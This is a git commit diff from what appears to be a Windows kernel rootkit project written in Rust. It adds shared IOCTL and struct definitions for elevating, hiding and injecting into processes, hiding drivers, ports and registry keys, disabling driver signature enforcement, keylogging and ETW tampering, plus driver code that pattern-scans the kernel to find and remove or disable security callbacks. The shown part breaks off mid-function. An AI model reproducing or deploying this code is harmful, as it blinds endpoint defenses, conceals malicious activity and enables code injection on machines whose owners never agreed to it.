refactor: improve code readability

This commit is contained in:
joaoviictorti
2025-10-10 11:11:53 -03:00
parent faca4c694c
commit 14de63d7bc
64 changed files with 2020 additions and 2712 deletions

7
crates/common/Cargo.toml Normal file
View File

@@ -0,0 +1,7 @@
[package]
name = "common"
version = "0.1.0"
edition = "2021"
[dependencies]
ntapi = { version = "0.4.1", default-features = false }

View File

@@ -0,0 +1,53 @@
/// Represents different types of callbacks available in the system.
#[derive(Debug, Copy, Clone, PartialEq, Default)]
pub enum Callbacks {
#[default]
/// The default callback type for process creation events.
PsSetCreateProcessNotifyRoutine,
/// Callback for thread creation events.
PsSetCreateThreadNotifyRoutine,
/// Callback for image loading events.
PsSetLoadImageNotifyRoutine,
/// Callback for registry operations (using `CmRegisterCallbackEx`).
CmRegisterCallbackEx,
/// Callback related to process object operations (using `ObRegisterCallbacks`).
ObProcess,
/// Callback related to thread object operations (using `ObRegisterCallbacks`).
ObThread,
}
/// Defines different operational modes or options for controlling behavior.
#[derive(Debug, Default)]
pub enum Options {
/// Option to hide the process or thread.
#[default]
Hide,
/// Option to apply protection to the process or thread.
Protection,
}
/// Represents the type of protocol used in network communication (TCP/UDP).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Protocol {
/// Transmission Control Protocol (TCP), which is connection-oriented and reliable.
TCP,
/// User Datagram Protocol (UDP), which is connectionless and less reliable.
UDP,
}
/// Represents whether the port is local or remote in the context of network communication.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum PortType {
/// Represents a local port on the current machine.
LOCAL,
/// Represents a remote port on a different machine.
REMOTE,
}

View File

@@ -0,0 +1,63 @@
const FILE_DEVICE_UNKNOWN: u32 = 34;
const METHOD_NEITHER: u32 = 3;
const METHOD_BUFFERED: u32 = 0;
const FILE_ANY_ACCESS: u32 = 0;
macro_rules! CTL_CODE {
($DeviceType:expr, $Function:expr, $Method:expr, $Access:expr) => {
($DeviceType << 16) | ($Access << 14) | ($Function << 2) | $Method
};
}
// Process
pub const ELEVATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const HIDE_UNHIDE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const TERMINATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const SIGNATURE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const PROTECTION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const ENUMERATION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS);
// Thread
pub const PROTECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const HIDE_UNHIDE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const ENUMERATION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
// Driver
pub const HIDE_UNHIDE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const BLOCK_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);
// DSE
pub const ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x831, METHOD_NEITHER, FILE_ANY_ACCESS);
// Keylogger
pub const KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x841, METHOD_BUFFERED, FILE_ANY_ACCESS);
// ETW
pub const ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x851, METHOD_NEITHER, FILE_ANY_ACCESS);
// Network
pub const HIDE_PORT: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x861, METHOD_NEITHER, FILE_ANY_ACCESS);
// Callback
pub const ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x871, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x872, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x873, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x874, METHOD_NEITHER, FILE_ANY_ACCESS);
// Registry
pub const REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x881, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x882, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const HIDE_UNHIDE_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x883, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x884, METHOD_NEITHER, FILE_ANY_ACCESS);
// Module
pub const ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x891, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x892, METHOD_NEITHER, FILE_ANY_ACCESS);
// Injection
pub const INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x901, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x902, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const INJECTION_SHELLCODE_THREAD_HIJACKING: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x903, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x904, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x905, METHOD_NEITHER, FILE_ANY_ACCESS);

7
crates/common/src/lib.rs Normal file
View File

@@ -0,0 +1,7 @@
#![no_std]
extern crate alloc;
pub mod enums;
pub mod ioctls;
pub mod structs;

View File

@@ -0,0 +1,223 @@
#![allow(non_camel_case_types)]
#![allow(non_snake_case)]
use crate::enums::{Callbacks, Options, PortType, Protocol};
use core::sync::atomic::AtomicPtr;
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
/// Custom implementation of the `LIST_ENTRY` structure.
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct LIST_ENTRY {
/// A pointer to the next entry in the list.
pub Flink: *mut LIST_ENTRY,
/// A pointer to the previous entry in the list.
pub Blink: *mut LIST_ENTRY,
}
/// Represents the state of ETWTI.
#[repr(C)]
#[derive(Debug)]
pub struct ETWTI {
/// If ETWTI is enabled or disabled.
pub enable: bool,
}
/// Input structure for enumeration of information.
#[repr(C)]
#[derive(Debug)]
pub struct EnumerateInfoInput {
/// The options to control how the enumeration should behave, typically set by the user.
pub options: Options,
}
/// Represents the target process and path for a DLL or code injection.
#[repr(C)]
#[derive(Debug)]
pub struct TargetInjection {
/// The process identifier (PID) of the target process where the injection will occur.
pub pid: usize,
/// The path to the file or resource (typically a DLL) to be injected into the process.
pub path: alloc::string::String,
}
/// Represents information about a network or communication port.
#[repr(C)]
#[derive(Debug, Clone, Copy, PartialEq)]
pub struct TargetPort {
/// The protocol used by the port (e.g., TCP, UDP).
pub protocol: Protocol,
/// The type of port (e.g., local, remote).
pub port_type: PortType,
/// The port number, represented as a 16-bit unsigned integer.
pub port_number: u16,
/// A boolean value indicating whether the port is enabled (`true`) or disabled (`false`).
pub enable: bool,
}
/// Represents the target registry key and value for operations.
#[repr(C)]
#[derive(Debug, Default)]
pub struct TargetRegistry {
/// The registry key, represented as a dynamically allocated string.
/// This is typically the path to a specific registry key (e.g., `HKEY_LOCAL_MACHINE\Software\...`).
pub key: alloc::string::String,
/// The value associated with the registry key, represented as a dynamically allocated string.
/// This could be a string value stored under the specified registry key.
pub value: alloc::string::String,
/// A boolean value indicating whether the operation on the registry key should be enabled (`true`)
/// or disabled (`false`).
pub enable: bool,
}
/// Represents the target thread for operations like manipulation or monitoring.
#[repr(C)]
#[derive(Debug, Default)]
pub struct TargetThread {
/// The thread identifier (TID).
pub tid: usize,
/// A boolean value indicating whether the thread is hidden or unhidden.
pub enable: bool,
/// A pointer to the `LIST_ENTRY` structure.s
pub list_entry: AtomicPtr<LIST_ENTRY>,
/// The options to control how the enumeration should behave.
pub options: Options,
}
/// Stores information about a target process for operations such as termination or manipulation.
#[repr(C)]
#[derive(Debug, Default)]
pub struct TargetProcess {
/// The process identifier (PID).
pub pid: usize,
/// A boolean value indicating whether the process is hidden or visible.
pub enable: bool,
/// The signer of the process.
pub sg: usize,
/// The type of protection applied to the process.
pub tp: usize,
/// A pointer to the `LIST_ENTRY` structure.
pub list_entry: AtomicPtr<LIST_ENTRY>,
/// The options to control how the enumeration should behave.
pub options: Options,
}
/// Represents information about a module in the system.
#[repr(C)]
#[derive(Debug)]
pub struct ModuleInfo {
/// The memory address where the module is loaded.
pub address: usize,
/// The name of the module.
pub name: [u16; 256],
/// The index of the module in the enumeration.
pub index: u8,
}
/// Represents the target module within a specific process for operations like enumeration or manipulation.
#[repr(C)]
#[derive(Debug)]
pub struct TargetModule {
/// The process identifier (PID).
pub pid: usize,
/// The name of the target module.
pub module_name: alloc::string::String,
}
/// Callback Information for Enumeration.
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct CallbackInfoOutput {
/// The memory address where the callback is located.
pub address: usize,
/// The name of the callback
pub name: [u16; 256],
/// The index of the callback in the enumeration.
pub index: u8,
/// The memory address of the pre-operation function associated with this callback.
pub pre_operation: usize,
/// The memory address of the post-operation function associated with this callback.
pub post_operation: usize,
}
impl Default for CallbackInfoOutput {
fn default() -> Self {
Self {
address: 0,
name: [0u16; 256],
index: 0,
post_operation: 0,
pre_operation: 0,
}
}
}
/// Callback Information for Action
#[derive(Debug, Copy, Clone)]
pub struct CallbackInfoInput {
/// The index of the callback that will be targeted by the action.
pub index: usize,
/// The specific callback action, represented by the `Callbacks` enum.
pub callback: Callbacks,
}
/// Enumerates driver information for system drivers.
#[repr(C)]
pub struct DriverInfo {
/// The memory address where the driver is loaded.
pub address: usize,
/// The name of the driver.
pub name: [u16; 256],
/// The index of the driver in the enumeration.
pub index: u8,
}
/// Represents a structure to enable or disable Driver Signature Enforcement (DSE)..
#[repr(C)]
#[derive(Debug, Default)]
pub struct DSE {
/// A boolean flag to enable or disable DSE.
pub enable: bool,
}
/// Represents the target driver for operations like hiding or revealing it.
#[repr(C)]
#[derive(Debug, Default)]
pub struct TargetDriver {
/// The name of the target driver as a dynamic string.
pub name: alloc::string::String,
/// A boolean flag that indicates whether the driver is enabled or hidden.
pub enable: bool,
/// A pointer to the `LIST_ENTRY` structure.
pub list_entry: AtomicPtr<LIST_ENTRY>,
/// A pointer to the `LDR_DATA_TABLE_ENTRY` structure.
pub driver_entry: AtomicPtr<LDR_DATA_TABLE_ENTRY>,
}

View File

@@ -0,0 +1,28 @@
[package]
name = "shadow-core"
version = "0.1.0"
edition = "2021"
[lib]
crate-type = ["lib"]
[features]
default = []
nightly = ["wdk/nightly", "wdk-sys/nightly"]
[dependencies]
wdk = "0.3.1"
wdk-sys = "0.4.0"
wdk-alloc = "0.3.1"
spin = "0.9.8"
obfstr = "0.4.4"
log = "0.4.22"
bitfield = "0.17.0"
ntapi = { version = "0.4.1", default-features = false }
thiserror = { version = "2.0.10", default-features = false }
common = { path = "../common" }
[package.metadata.wdk.driver-model]
driver-type = "KMDF"
kmdf-version-major = 1
target-kmdf-version-minor = 31

View File

@@ -0,0 +1,172 @@
use common::enums::Callbacks;
use obfstr::obfstr as s;
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
use crate::utils::{patterns::scan_for_pattern, uni::str_to_unicode};
use crate::{
data::FULL_OBJECT_TYPE,
error::{ShadowError, ShadowResult},
};
pub mod notify_routine;
pub mod object;
pub mod registry;
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
///
/// # Returns
///
/// The pointer to the routine's address if found.
unsafe fn find_ps_create_process() -> ShadowResult<*mut u8> {
let mut name = str_to_unicode(s!("PsSetCreateProcessNotifyRoutine")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
// call nt!PspSetCreateProcessNotifyRoutine (xxx)
let instructions = [0xE8];
let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14)?;
let instructions = [0x4C, 0x8D, 0x2D];
scan_for_pattern(psp_set_create_process.cast(), &instructions, 3, 7, 0x98)
}
/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine.
///
/// # Returns
///
/// The pointer to the routine's address if found.
unsafe fn find_ps_create_thread() -> ShadowResult<*mut u8> {
let mut name = str_to_unicode(s!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
// lea rcx,[nt!PspCreateThreadNotifyRoutine (xxx)]
let instructions = [0x48, 0x8D, 0x0D];
scan_for_pattern(function_address, &instructions, 3, 7, 0x50)
}
/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine.
///
/// # Returns
///
/// The pointer to the routine's address if found.
unsafe fn find_ps_load_image() -> ShadowResult<*mut u8> {
let mut name = str_to_unicode(s!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
// lea rcx,[nt!PspLoadImageNotifyRoutine (xxx)]
let instructions = [0x48, 0x8D, 0x0D];
scan_for_pattern(function_address, &instructions, 3, 7, 0x50)
}
/// Finds the address of the `CmRegisterCallbackEx` routine.
///
/// # Returns
///
/// A tuple containing the callback list head, callback count, and the callback list lock if found.
unsafe fn find_cm_register_callback() -> ShadowResult<(*mut u8, *mut u8, *mut u8)> {
let mut name = str_to_unicode(s!("CmRegisterCallbackEx")).to_unicode();
let function_address = MmGetSystemRoutineAddress(&mut name);
// call nt!CmpRegisterCallbackInternal
let register_internal_pattern = [0xE8];
let register_callback_internal =
scan_for_pattern(function_address, &register_internal_pattern, 1, 5, 0x50)?;
// call nt!CmpInsertCallbackInListByAltitude
let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8];
let insert_call_address = scan_for_pattern(
register_callback_internal.cast(),
&insert_pattern,
3,
7,
0x108,
)?;
// lea rcx,[nt!CmpCallbackListLock (xxx)]
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
let callback_list_lock = scan_for_pattern(
insert_call_address.cast(),
&cmp_callback_list_lock_pattern,
3,
7,
0x200,
)?;
// lea r15,[nt!CallbackListHead (xxx)]
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
let callback_list_header = scan_for_pattern(
insert_call_address.cast(),
&callback_list_head_pattern,
3,
7,
0x200,
)?;
// lock inc dword ptr [nt!CmpCallBackCount (xxx)]
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
let callback_count = scan_for_pattern(
insert_call_address.cast(),
&cmp_callback_count_pattern,
3,
7,
0x200,
)?;
Ok((callback_list_header, callback_count, callback_list_lock))
}
/// Finds the address of the `ObRegisterCallbacks` routine.
///
/// # Arguments
///
/// * `callback` - A reference to the `Callbacks` enum specifying the target callback.
///
/// # Returns
///
/// The pointer to the object type associated with the callback if found.
pub fn find_ob_register_callback(callback: &Callbacks) -> ShadowResult<*mut FULL_OBJECT_TYPE> {
match callback {
Callbacks::ObProcess => Ok(unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }),
Callbacks::ObThread => Ok(unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }),
_ => Err(ShadowError::PatternNotFound),
}
}
/// Finds the address of the specified callback routine.
///
/// # Arguments
///
/// * `callback` - A reference to the `Callbacks` enum specifying the target callback.
///
/// # Returns
///
/// A result containing the address of the callback or related components.
pub unsafe fn find_callback_address(callback: &Callbacks) -> ShadowResult<CallbackResult> {
match callback {
Callbacks::PsSetCreateProcessNotifyRoutine => {
find_ps_create_process().map(CallbackResult::Notify)
}
Callbacks::PsSetCreateThreadNotifyRoutine => {
find_ps_create_thread().map(CallbackResult::Notify)
}
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::Notify),
Callbacks::CmRegisterCallbackEx => {
find_cm_register_callback().map(CallbackResult::Registry)
}
Callbacks::ObProcess | Callbacks::ObThread => {
find_ob_register_callback(callback).map(CallbackResult::Object)
}
}
}
/// Enum representing the return types for various callback searches.
pub enum CallbackResult {
/// Holds the address for process/thread/image creation notifications.
Notify(*mut u8),
/// Holds the addresses for the registry callback,
/// including the callback list and callback count.
Registry((*mut u8, *mut u8, *mut u8)),
/// Holds the address for object process/thread callbacks.
Object(*mut FULL_OBJECT_TYPE),
}

View File

@@ -0,0 +1,212 @@
use alloc::vec::Vec;
use common::{enums::Callbacks, structs::CallbackInfoOutput};
use spin::{Lazy, Mutex};
use wdk_sys::{NTSTATUS, STATUS_SUCCESS};
use crate::data::{CallbackRestaure, LDR_DATA_TABLE_ENTRY};
use crate::{
callback::{find_callback_address, CallbackResult},
error::{ShadowError, ShadowResult},
modules,
};
const MAX_CALLBACK: usize = 100;
/// Stores information about removed callbacks.
pub static mut INFO_CALLBACK_RESTAURE_NOTIFY: Lazy<Mutex<Vec<CallbackRestaure>>> =
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
/// Restores a previously removed callback by its index.
///
/// # Arguments
///
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
/// * `index` - The index of the callback to restore.
///
/// # Returns
///
/// A success state if the callback is successfully restored.
pub unsafe fn restore(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
// Lock the removed callbacks to ensure thread-safe access
let mut callbacks = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
// Find the removed callback by its index
let index = callbacks
.iter()
.position(|c| c.callback == callback && c.index == index)
.ok_or(ShadowError::IndexNotFound(index))?;
// Retrieve the callback address based on the callback type
let address = match find_callback_address(&callback)? {
CallbackResult::Notify(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
// Restore the callback by writing back its address
let addr = address.offset((callbacks[index].index * 8) as isize);
*(addr as *mut u64) = callbacks[index].address;
// Remove the restored callback from the saved list
callbacks.remove(index);
Ok(STATUS_SUCCESS)
}
/// Removes a callback from a notification routine.
///
/// # Arguments
///
/// * `callback` - The type of callback to remove.
/// * `index` - The index of the callback to remove.
///
/// # Returns
///
/// If the callback is successfully removed.
pub unsafe fn remove(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
// Retrieve the callback address based on the callback type
let address = match find_callback_address(&callback)? {
CallbackResult::Notify(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
// Calculate the callback address to be removed
let addr = address.offset((index as isize) * 8);
// Save the removed callback information
let callback = CallbackRestaure {
index,
callback,
address: *(addr as *mut u64),
};
let mut callback_info = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
callback_info.push(callback);
// Remove the callback by setting its address to 0
*(addr as *mut u64) = 0;
Ok(STATUS_SUCCESS)
}
/// Enumerates the modules associated with callbacks and populates callback information.
///
/// # Arguments
///
/// * `callback` - The type of callback to enumerate.
///
/// # Returns
///
/// Containing the list of callbacks.
pub unsafe fn enumerate(callback: Callbacks) -> ShadowResult<Vec<CallbackInfoOutput>> {
let mut callbacks = Vec::new();
// Get the address of the callback from the system
let address = match find_callback_address(&callback)? {
CallbackResult::Notify(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
// Iterate over loaded modules to find the module corresponding to each callback
let (mut ldr_data, module_count) = modules()?;
let start_entry = ldr_data;
for i in 0..64 {
let addr = address.cast::<u8>().offset(i * 8);
let callback = *(addr as *const u64);
if callback == 0 {
continue;
}
// Iterate through the loaded modules to find the one associated with the callback
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64);
// Check if the callback addresses fall within the module's memory range
if raw_pointer > start_address as u64 && raw_pointer < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: i as u8,
address: raw_pointer as usize,
name,
..Default::default()
});
break;
}
// Move to the next module
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset the module list pointer for the next callback
ldr_data = start_entry;
}
Ok(callbacks)
}
/// Enumerates all removed callbacks and provides detailed information.
///
/// # Returns
///
/// Containing the list of removed callbacks.
pub unsafe fn enumerate_removed() -> ShadowResult<Vec<CallbackInfoOutput>> {
let mut callbacks = Vec::new();
let callbacks_removed = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
let (mut ldr_data, module_count) = modules()?;
let start_entry = ldr_data;
// Iterate over the removed callbacks
for (i, callback) in callbacks_removed.iter().enumerate() {
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64);
// Check if the callback addresses fall within the module's memory range
if raw_pointer > start_address as u64 && raw_pointer < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: callback.index as u8,
address: callback.address as usize,
name,
..Default::default()
});
break;
}
// Move to the next module
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset the module list pointer for the next callback
ldr_data = start_entry;
}
Ok(callbacks)
}

View File

@@ -0,0 +1,266 @@
use alloc::vec::Vec;
use common::{enums::Callbacks, structs::CallbackInfoOutput};
use spin::{Lazy, Mutex};
use wdk_sys::{NTSTATUS, STATUS_SUCCESS};
use crate::data::{CallbackRestaureOb, LDR_DATA_TABLE_ENTRY, OBCALLBACK_ENTRY};
use crate::{
callback::{find_callback_address, CallbackResult},
error::{ShadowError, ShadowResult},
lock::with_push_lock_exclusive,
modules,
};
const MAX_CALLBACK: usize = 100;
/// Stores information about removed callbacks.
static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> =
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
/// Restores a previously removed callback by its index.
///
/// # Arguments
///
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
/// * `index` - The index of the callback to restore.
///
/// # Returns
///
/// A success state if the callback is successfully restored.
pub unsafe fn restore(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
// Lock the removed callbacks to ensure thread-safe access
let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock();
// Find the callback by its index
let index = callbacks
.iter()
.position(|c| c.callback == callback && c.index == index)
.ok_or(ShadowError::IndexNotFound(index))?;
// Retrieve the callback address based on the callback type
let full_object = match find_callback_address(&callback)? {
CallbackResult::Object(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
// Acquire exclusive access to the TypeLock associated with the callback object
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
with_push_lock_exclusive(lock, || {
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
// Traverse the list of callback entries to find the one matching the removed entry
while next != current {
if !(*next).Enabled && !next.is_null() && (*next).Entry as u64 == callbacks[index].entry
{
// Re-enable the callback and remove it from the removed list
(*next).Enabled = true;
callbacks.remove(index);
return Ok(STATUS_SUCCESS);
}
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
}
Err(ShadowError::RestoringFailureCallback)
})
}
/// Removes a callback from a notification routine.
///
/// # Arguments
///
/// * `callback` - The type of callback to remove.
/// * `index` - The index of the callback to remove.
///
/// # Returns
///
/// If the callback is successfully removed.
pub unsafe fn remove(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
// Retrieve the callback address based on the callback type
let full_object = match find_callback_address(&callback)? {
CallbackResult::Object(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
// Acquire exclusive access to the TypeLock associated with the callback object
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
with_push_lock_exclusive(lock, || {
let mut i = 0;
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
// Traverse the list of callback entries
while next != current {
if i == index {
if (*next).Enabled {
// Store the removed callback in the list of removed callbacks
let callback_restaure = CallbackRestaureOb {
index,
callback,
entry: (*next).Entry as u64,
pre_operation: (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64),
post_operation: (*next)
.PostOperation
.map_or(0u64, |post_op| post_op as u64),
};
// Disable the callback
(*next).Enabled = false;
callback_info.push(callback_restaure);
}
return Ok(STATUS_SUCCESS);
}
// Move to the next entry in the callback list
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
i += 1;
}
Err(ShadowError::RemoveFailureCallback)
})
}
/// Enumerates the modules associated with callbacks and populates callback information.
///
/// # Arguments
///
/// * `callback` - The type of callback to enumerate.
///
/// # Returns
///
/// Containing the list of callbacks.
pub unsafe fn enumerate(callback: Callbacks) -> ShadowResult<Vec<CallbackInfoOutput>> {
let mut callbacks = Vec::new();
// Retrieve the callback address based on the callback type
let full_object = match find_callback_address(&callback)? {
CallbackResult::Object(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
let mut list_objects = Vec::new();
// Collect the information about each callback
while next != current {
let pre_op_addr = (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64);
let post_op_addr = (*next).PostOperation.map_or(0u64, |post_op| post_op as u64);
list_objects.push(((*next).Enabled, (pre_op_addr, post_op_addr)));
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
}
// Iterate over loaded modules to find the module corresponding to each callback
let (mut ldr_data, module_count) = modules()?;
let start_entry = ldr_data;
let mut current_index = 0;
for (i, (enabled, addrs)) in list_objects.iter().enumerate() {
if !enabled {
current_index += 1;
continue;
}
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
let pre_operation = addrs.0;
let post_operation = addrs.1;
// Check if the callback addresses fall within the module's memory range
if pre_operation > start_address as u64 && pre_operation < end_address
|| post_operation > start_address as u64 && post_operation < end_address
{
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: current_index,
name,
pre_operation: pre_operation as usize,
post_operation: post_operation as usize,
address: 0,
});
current_index += 1;
break;
}
// Move to the next module
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset ldr_data for the next callback
ldr_data = start_entry;
}
Ok(callbacks)
}
/// Enumerates all removed callbacks and provides detailed information.
///
/// # Returns
///
/// Containing the list of removed callbacks.
pub unsafe fn enumerate_removed() -> ShadowResult<Vec<CallbackInfoOutput>> {
let mut callbacks = Vec::new();
let callbacks_removed = INFO_CALLBACK_RESTAURE_OB.lock();
let (mut ldr_data, module_count) = modules()?;
let start_entry = ldr_data;
// Iterate over the removed callbacks
for (i, callback) in callbacks_removed.iter().enumerate() {
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
// Check if the callback addresses fall within the module's memory range
if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address
|| callback.post_operation > start_address as u64
&& callback.post_operation < end_address
{
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the removed callback information
let mut name = [0u16; 256];
